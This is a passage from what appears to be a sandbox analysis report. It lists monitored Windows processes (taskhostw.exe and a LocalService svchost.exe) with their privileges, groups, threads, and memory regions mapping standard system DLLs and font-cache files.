= 0xec0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ec0000" filename = "" Thread: id = 118 os_tid = 0x3f8 Thread: id = 119 os_tid = 0x128 Thread: id = 120 os_tid = 0x2a8 Thread: id = 121 os_tid = 0x2cc Thread: id = 122 os_tid = 0x2c4 Thread: id = 123 os_tid = 0x308 Thread: id = 124 os_tid = 0x2ec Thread: id = 125 os_tid = 0x39c Thread: id = 126 os_tid = 0x15c Thread: id = 127 os_tid = 0x158 Thread: id = 128 os_tid = 0x1b4 Thread: id = 129 os_tid = 0x408 Thread: id = 130 os_tid = 0x42c Thread: id = 131 os_tid = 0x430 Thread: id = 132 os_tid = 0x438 Thread: id = 133 os_tid = 0x440 Thread: id = 134 os_tid = 0x444 Thread: id = 135 os_tid = 0x448 Thread: id = 136 os_tid = 0x450 Thread: id = 137 os_tid = 0x454 Thread: id = 138 os_tid = 0x45c Thread: id = 139 os_tid = 0x460 Thread: id = 140 os_tid = 0x464 Thread: id = 141 os_tid = 0x468 Thread: id = 142 os_tid = 0x434 Thread: id = 143 os_tid = 0x510 Thread: id = 144 os_tid = 0x570 Thread: id = 164 os_tid = 0x5cc Process: id = "9" image_name = "taskhostw.exe" filename = "c:\\windows\\system32\\taskhostw.exe" page_root = "0x4189d000" os_pid = "0x564" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0x3f4" cmd_line = "taskhostw.exe SYSTEM" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\DcpSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xa], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\lfsvc" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\RetailDemo" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\UsoSvc" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d731" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 1763 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1764 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1765 start_va = 0x50000 end_va = 0xcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1766 start_va = 0xd0000 end_va = 0xd3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 1767 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 1768 start_va = 0xf0000 end_va = 0xf1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 1769 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 1770 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1771 start_va = 0x7df5fffc0000 end_va = 0x7df5fffe2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5fffc0000" filename = "" Region: id = 1772 start_va = 0x7df5ffff0000 end_va = 0x7ff5fffeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffff0000" filename = "" Region: id = 1773 start_va = 0x7ff62d1c0000 end_va = 0x7ff62d1d8fff monitored = 0 entry_point = 0x7ff62d1c59b0 region_type = mapped_file name = "taskhostw.exe" filename = "\\Windows\\System32\\taskhostw.exe" (normalized: "c:\\windows\\system32\\taskhostw.exe") Region: id = 1774 start_va = 0x7fff14bd0000 end_va = 0x7fff14d90fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1903 start_va = 0x400000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 1904 start_va = 0x7fff12dd0000 end_va = 0x7fff12e7cfff monitored = 0 entry_point = 0x7fff12de81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1905 start_va = 0x7fff11280000 end_va = 0x7fff11467fff monitored = 0 entry_point = 0x7fff112aba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1906 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1907 start_va = 0x7df5ffec0000 end_va = 0x7df5fffbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffec0000" filename = "" Region: id = 1908 start_va = 0x100000 end_va = 0x1bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1909 start_va = 0x7fff128b0000 end_va = 0x7fff1294cfff monitored = 0 entry_point = 0x7fff128b78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1910 start_va = 0x400000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 1911 start_va = 0x480000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 1912 start_va = 0x7fff121a0000 end_va = 0x7fff122bbfff monitored = 0 entry_point = 0x7fff121e02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1913 start_va = 0x7fff12470000 end_va = 0x7fff126ecfff monitored = 0 entry_point = 0x7fff12544970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 1914 start_va = 0x7fff11bc0000 end_va = 0x7fff11c29fff monitored = 0 entry_point = 0x7fff11bf6d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 1915 start_va = 0x7fff127a0000 end_va = 0x7fff12860fff monitored = 0 entry_point = 0x7fff127c0da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1916 start_va = 0x580000 end_va = 0x76ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 1917 start_va = 0x20000 end_va = 0x26fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Thread: id = 165 os_tid = 0x568 Process: id = "10" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x63f55000" os_pid = "0x3cc" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "8" os_parent_pid = "0x210" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AJRouter" [0xa], "NT SERVICE\\bthserv" [0xa], "NT SERVICE\\CDPSvc" [0xa], "NT SERVICE\\EventSystem" [0xa], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\FontCache" [0xa], "NT SERVICE\\LicenseManager" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\PhoneSvc" [0xa], "NT SERVICE\\RemoteRegistry" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\tzautoupdate" [0xe], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT SERVICE\\workfolderssvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d468" [0xc000000f], "LOCAL" [0x7] Region: id = 1779 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1780 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 1781 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1782 start_va = 0x50000 end_va = 0xcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1783 start_va = 0xd0000 end_va = 0xd3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 1784 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 1785 start_va = 0xf0000 end_va = 0xf1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 1786 start_va = 0x100000 end_va = 0x17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 1787 start_va = 0x180000 end_va = 0x180fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 1788 start_va = 0x190000 end_va = 0x190fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 1789 start_va = 0x1a0000 end_va = 0x1a6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 1790 start_va = 0x1b0000 end_va = 0x1b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 1791 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 1792 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 1793 start_va = 0x1e0000 end_va = 0x1e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "netprofmsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\netprofmsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\netprofmsvc.dll.mui") Region: id = 1794 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 1795 start_va = 0x400000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 1796 start_va = 0x500000 end_va = 0x5bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1797 start_va = 0x5c0000 end_va = 0x747fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 1798 start_va = 0x750000 end_va = 0x756fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000750000" filename = "" Region: id = 1799 start_va = 0x760000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000760000" filename = "" Region: id = 1800 start_va = 0x800000 end_va = 0x8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 1801 start_va = 0x900000 end_va = 0xa80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000900000" filename = "" Region: id = 1802 start_va = 0xa90000 end_va = 0xb4ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a90000" filename = "" Region: id = 1803 start_va = 0xb50000 end_va = 0xb98fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "~fontcache-system.dat" filename = "\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\FontCache\\~FontCache-System.dat" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\fontcache\\~fontcache-system.dat") Region: id = 1804 start_va = 0xc40000 end_va = 0xc46fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c40000" filename = "" Region: id = 1805 start_va = 0xd00000 end_va = 0xdfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d00000" filename = "" Region: id = 1806 start_va = 0xe00000 end_va = 0xed3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeuil.ttf" filename = "\\Windows\\Fonts\\segoeuil.ttf" (normalized: "c:\\windows\\fonts\\segoeuil.ttf") Region: id = 1807 start_va = 0xf00000 end_va = 0xffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f00000" filename = "" Region: id = 1808 start_va = 0x1000000 end_va = 0x10fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001000000" filename = "" Region: id = 1809 start_va = 0x1100000 end_va = 0x11fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001100000" filename = "" Region: id = 1810 start_va = 0x1200000 end_va = 0x12fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001200000" filename = "" Region: id = 1811 start_va = 0x1300000 end_va = 0x13fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001300000" filename = "" Region: id = 1812 start_va = 0x1400000 end_va = 0x14fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001400000" filename = "" Region: id = 1813 start_va = 0x1500000 end_va = 0x15fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001500000" filename = "" Region: id = 1814 start_va = 0x1600000 end_va = 0x25fffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "~fontcache-fontface.dat" filename = "\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\FontCache\\~FontCache-FontFace.dat" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\fontcache\\~fontcache-fontface.dat") Region: id = 1815 start_va = 0x2600000 end_va = 0x2936fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1816 start_va = 0x2a00000 end_va = 0x2afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a00000" filename = "" Region: id = 1817 start_va = 0x2b00000 end_va = 0x2bc3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeuisl.ttf" filename = "\\Windows\\Fonts\\segoeuisl.ttf" (normalized: "c:\\windows\\fonts\\segoeuisl.ttf") Region: id = 1818 start_va = 0x2c00000 end_va = 0x2cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c00000" filename = "" Region: id = 1819 start_va = 0x2d00000 end_va = 0x2dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002d00000" filename = "" Region: id = 1820 start_va = 0x2f00000 end_va = 0x36fffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "~fontcache-s-1-5-18.dat" filename = "\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\FontCache\\~FontCache-S-1-5-18.dat" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\fontcache\\~fontcache-s-1-5-18.dat") Region: id = 1821 start_va = 0x3700000 end_va = 0x37fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003700000" filename = "" Region: id = 1822 start_va = 0x3800000 end_va = 0x38fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003800000" filename = "" Region: id = 1823 start_va = 0x3900000 end_va = 0x39fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003900000" filename = "" Region: id = 1824 start_va = 0x3a00000 end_va = 0x3afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003a00000" filename = "" Region: id = 1825 start_va = 0x3b00000 end_va = 0x3bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003b00000" filename = "" Region: id = 1826 start_va = 0x3c00000 end_va = 0x3cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003c00000" filename = "" Region: id = 1827 start_va = 0x3d00000 end_va = 0x3dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003d00000" filename = "" Region: id = 1828 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1829 start_va = 0x7df5ffec0000 end_va = 0x7df5fffbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffec0000" filename = "" Region: id = 1830 start_va = 0x7df5fffc0000 end_va = 0x7df5fffe2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5fffc0000" filename = "" Region: id = 1831 start_va = 0x7df5ffff0000 end_va = 0x7ff5fffeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffff0000" filename = "" Region: id = 1832 start_va = 0x7ff73d8f0000 end_va = 0x7ff73d8fcfff monitored = 0 entry_point = 0x7ff73d8f3980 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 1833 start_va = 0x7fff092c0000 end_va = 0x7fff092cdfff monitored = 0 entry_point = 0x7fff092c1460 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 1834 start_va = 0x7fff098e0000 end_va = 0x7fff0996afff monitored = 0 entry_point = 0x7fff098fd2a0 region_type = mapped_file name = "netprofmsvc.dll" filename = "\\Windows\\System32\\netprofmsvc.dll" (normalized: "c:\\windows\\system32\\netprofmsvc.dll") Region: id = 1835 start_va = 0x7fff0ab90000 end_va = 0x7fff0ab9cfff monitored = 0 entry_point = 0x7fff0ab92650 region_type = mapped_file name = "nsisvc.dll" filename = "\\Windows\\System32\\nsisvc.dll" (normalized: "c:\\windows\\system32\\nsisvc.dll") Region: id = 1836 start_va = 0x7fff0ae50000 end_va = 0x7fff0ae5bfff monitored = 0 entry_point = 0x7fff0ae514d0 region_type = mapped_file name = "locationframeworkps.dll" filename = "\\Windows\\System32\\LocationFrameworkPS.dll" (normalized: "c:\\windows\\system32\\locationframeworkps.dll") Region: id = 1837 start_va = 0x7fff0b320000 end_va = 0x7fff0b337fff monitored = 0 entry_point = 0x7fff0b325910 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 1838 start_va = 0x7fff0b490000 end_va = 0x7fff0b4d9fff monitored = 0 entry_point = 0x7fff0b49ac30 region_type = mapped_file name = "deviceaccess.dll" filename = "\\Windows\\System32\\deviceaccess.dll" (normalized: "c:\\windows\\system32\\deviceaccess.dll") Region: id = 1839 start_va = 0x7fff0b500000 end_va = 0x7fff0b528fff monitored = 0 entry_point = 0x7fff0b5124d0 region_type = mapped_file name = "fontprovider.dll" filename = "\\Windows\\System32\\FontProvider.dll" (normalized: "c:\\windows\\system32\\fontprovider.dll") Region: id = 1840 start_va = 0x7fff0b5e0000 end_va = 0x7fff0b781fff monitored = 0 entry_point = 0x7fff0b62c2d0 region_type = mapped_file name = "fntcache.dll" filename = "\\Windows\\System32\\FntCache.dll" (normalized: "c:\\windows\\system32\\fntcache.dll") Region: id = 1841 start_va = 0x7fff0b840000 end_va = 0x7fff0b8d1fff monitored = 0 entry_point = 0x7fff0b88a780 region_type = mapped_file name = "msvcp110_win.dll" filename = "\\Windows\\System32\\msvcp110_win.dll" (normalized: "c:\\windows\\system32\\msvcp110_win.dll") Region: id = 1842 start_va = 0x7fff0b8e0000 end_va = 0x7fff0b912fff monitored = 0 entry_point = 0x7fff0b8ed5a0 region_type = mapped_file name = "biwinrt.dll" filename = "\\Windows\\System32\\biwinrt.dll" (normalized: "c:\\windows\\system32\\biwinrt.dll") Region: id = 1843 start_va = 0x7fff0b920000 end_va = 0x7fff0b998fff monitored = 0 entry_point = 0x7fff0b937800 region_type = mapped_file name = "geolocation.dll" filename = "\\Windows\\System32\\Geolocation.dll" (normalized: "c:\\windows\\system32\\geolocation.dll") Region: id = 1844 start_va = 0x7fff0bd90000 end_va = 0x7fff0be09fff monitored = 0 entry_point = 0x7fff0bdb7630 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 1845 start_va = 0x7fff0be10000 end_va = 0x7fff0be29fff monitored = 0 entry_point = 0x7fff0be1b670 region_type = mapped_file name = "tzautoupdate.dll" filename = "\\Windows\\System32\\tzautoupdate.dll" (normalized: "c:\\windows\\system32\\tzautoupdate.dll") Region: id = 1846 start_va = 0x7fff0dc20000 end_va = 0x7fff0dc55fff monitored = 0 entry_point = 0x7fff0dc30070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 1847 start_va = 0x7fff0fd10000 end_va = 0x7fff0fe0ffff monitored = 0 entry_point = 0x7fff0fd50f80 region_type = mapped_file name = "twinapi.appcore.dll" filename = "\\Windows\\System32\\twinapi.appcore.dll" (normalized: "c:\\windows\\system32\\twinapi.appcore.dll") Region: id = 1848 start_va = 0x7fff10390000 end_va = 0x7fff10483fff monitored = 0 entry_point = 0x7fff1039a960 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 1849 start_va = 0x7fff10950000 end_va = 0x7fff1096efff monitored = 0 entry_point = 0x7fff10955d30 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1850 start_va = 0x7fff11080000 end_va = 0x7fff110a8fff monitored = 0 entry_point = 0x7fff11094530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 1851 start_va = 0x7fff111f0000 end_va = 0x7fff11203fff monitored = 0 entry_point = 0x7fff111f52e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1852 start_va = 0x7fff11270000 end_va = 0x7fff1127efff monitored = 0 entry_point = 0x7fff11273210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 1853 start_va = 0x7fff11280000 end_va = 0x7fff11467fff monitored = 0 entry_point = 0x7fff112aba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1854 start_va = 0x7fff11bc0000 end_va = 0x7fff11c29fff monitored = 0 entry_point = 0x7fff11bf6d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 1855 start_va = 0x7fff11eb0000 end_va = 0x7fff11f64fff monitored = 0 entry_point = 0x7fff11ef22e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 1856 start_va = 0x7fff121a0000 end_va = 0x7fff122bbfff monitored = 0 entry_point = 0x7fff121e02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1857 start_va = 0x7fff122c0000 end_va = 0x7fff12402fff monitored = 0 entry_point = 0x7fff122e8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1858 start_va = 0x7fff12410000 end_va = 0x7fff1246afff monitored = 0 entry_point = 0x7fff124238b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1859 start_va = 0x7fff12470000 end_va = 0x7fff126ecfff monitored = 0 entry_point = 0x7fff12544970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 1860 start_va = 0x7fff126f0000 end_va = 0x7fff12796fff monitored = 0 entry_point = 0x7fff126fb4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1861 start_va = 0x7fff127a0000 end_va = 0x7fff12860fff monitored = 0 entry_point = 0x7fff127c0da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1862 start_va = 0x7fff128b0000 end_va = 0x7fff1294cfff monitored = 0 entry_point = 0x7fff128b78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1863 start_va = 0x7fff12dd0000 end_va = 0x7fff12e7cfff monitored = 0 entry_point = 0x7fff12de81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1864 start_va = 0x7fff12e80000 end_va = 0x7fff12f26fff monitored = 0 entry_point = 0x7fff12e958d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1865 start_va = 0x7fff12f30000 end_va = 0x7fff130b5fff monitored = 0 entry_point = 0x7fff12f7ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1866 start_va = 0x7fff14a60000 end_va = 0x7fff14a67fff monitored = 0 entry_point = 0x7fff14a61ea0 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1867 start_va = 0x7fff14a70000 end_va = 0x7fff14bc5fff monitored = 0 entry_point = 0x7fff14a7a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1868 start_va = 0x7fff14bd0000 end_va = 0x7fff14d90fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1869 start_va = 0x7fff0ae70000 end_va = 0x7fff0af37fff monitored = 0 entry_point = 0x7fff0aeb13f0 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 1870 start_va = 0x3e00000 end_va = 0x3efffff monitored = 1 entry_point = 0x0 region_type = private name = 